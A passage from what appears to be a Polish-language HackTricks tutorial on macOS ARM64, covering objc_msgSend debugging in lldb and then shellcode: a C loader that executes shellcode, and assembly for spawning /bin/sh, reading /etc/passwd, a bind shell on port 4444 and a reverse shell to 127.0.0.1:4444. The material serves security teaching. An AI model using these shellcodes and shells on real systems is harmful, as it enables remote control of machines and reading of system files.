Więc, jeśli ustawisz punkt przerwania przed gałęzią do tej funkcji, możesz łatwo znaleźć, co jest wywoływane w lldb (w tym przykładzie obiekt wywołuje obiekt z NSConcreteTask, który uruchomi polecenie):

bash
# Right in the line were objc_msgSend will be called
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>

(lldb) x/s $x1
0x1736d3a6e: "launch"

(lldb) po [$x0 launchPath]
/bin/sh

(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)

tip

Ustawiając zmienną env NSObjCMessageLoggingEnabled=1, można rejestrować, kiedy ta funkcja jest wywoływana w pliku takim jak /tmp/msgSends-pid.

Ponadto, ustawiając OBJC_HELP=1 i wywołując dowolny binarny, można zobaczyć inne zmienne środowiskowe, które można wykorzystać do logowania, kiedy występują określone akcje Objc-C.

Kiedy ta funkcja jest wywoływana, należy znaleźć wywołaną metodę wskazanej instancji, w tym celu przeprowadza się różne wyszukiwania:

  • Wykonaj optymistyczne wyszukiwanie w pamięci podręcznej:
  • Jeśli się powiedzie, zakończ
  • Zdobądź runtimeLock (odczyt)
  • Jeśli (realize && !cls->realized) zrealizuj klasę
  • Jeśli (initialize && !cls->initialized) zainicjalizuj klasę
  • Spróbuj pamięci podręcznej własnej klasy:
  • Jeśli się powiedzie, zakończ
  • Spróbuj listy metod klasy:
  • Jeśli znaleziono, wypełnij pamięć podręczną i zakończ
  • Spróbuj pamięci podręcznej klasy nadrzędnej:
  • Jeśli się powiedzie, zakończ
  • Spróbuj listy metod klasy nadrzędnej:
  • Jeśli znaleziono, wypełnij pamięć podręczną i zakończ
  • Jeśli (resolver) spróbuj resolvera metod i powtórz od wyszukiwania klasy
  • Jeśli nadal tutaj (= wszystko inne nie powiodło się) spróbuj forwardera

Shellcodes

Aby skompilować:

bash
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem

Aby wyodrębnić bajty:

bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

Dla nowszych macOS:

bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
Kod C do testowania shellcode
c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] = "<INSERT SHELLCODE HERE>";

int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf("    |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf("    |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf("    |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr;
sc();

return 0;
}

Shell

Pobrane z tutaj i wyjaśnione.

armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

Czytaj za pomocą cat

Celem jest wykonanie execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), więc drugi argument (x1) to tablica parametrów (co w pamięci oznacza stos adresów).

armasm
.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1]           ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path    ; Get the address of "/etc/passwd"
str x0, [x1, #8]       ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16]     ; Store NULL as the third argument (end of arguments)

adr x0, cat_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"

Wywołaj polecenie z sh z fork, aby główny proces nie został zabity

armasm
.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the fork syscall
mov x16, #2            ; Load the syscall number for fork (2) into x8
svc 0                  ; Make the syscall
cmp x1, #0             ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop              ; If not child process, loop

; Prepare the arguments for the execve syscall

sub sp, sp, #64        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1]           ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option    ; Get the address of "-c"
str x0, [x1, #8]       ; Store the address of "-c" as the second argument
adr x0, touch_command  ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16]      ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24]     ; Store NULL as the fourth argument (end of arguments)

adr x0, sh_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


_exit:
mov x16, #1            ; Load the syscall number for exit (1) into x8
mov x0, #0             ; Set exit status code to 0
svc 0                  ; Make the syscall

_loop: b _loop

sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"

Bind shell

Bind shell z https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s na porcie 4444

armasm
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 0.0.0.0 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #104
svc  #0x1337

call_listen:
// listen(s, 2)
mvn  x0, x3
lsr  x1, x2, #3
mov  x16, #106
svc  #0x1337

call_accept:
// c = accept(s, 0, 0)
mvn  x0, x3
mov  x1, xzr
mov  x2, xzr
mov  x16, #30
svc  #0x1337

mvn  x3, x0
lsr  x2, x16, #4
lsl  x2, x2, #2

call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

Reverse shell

Z https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell do 127.0.0.1:4444

armasm
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 127.0.0.1 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #98
svc  #0x1337

lsr  x2, x2, #2

call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks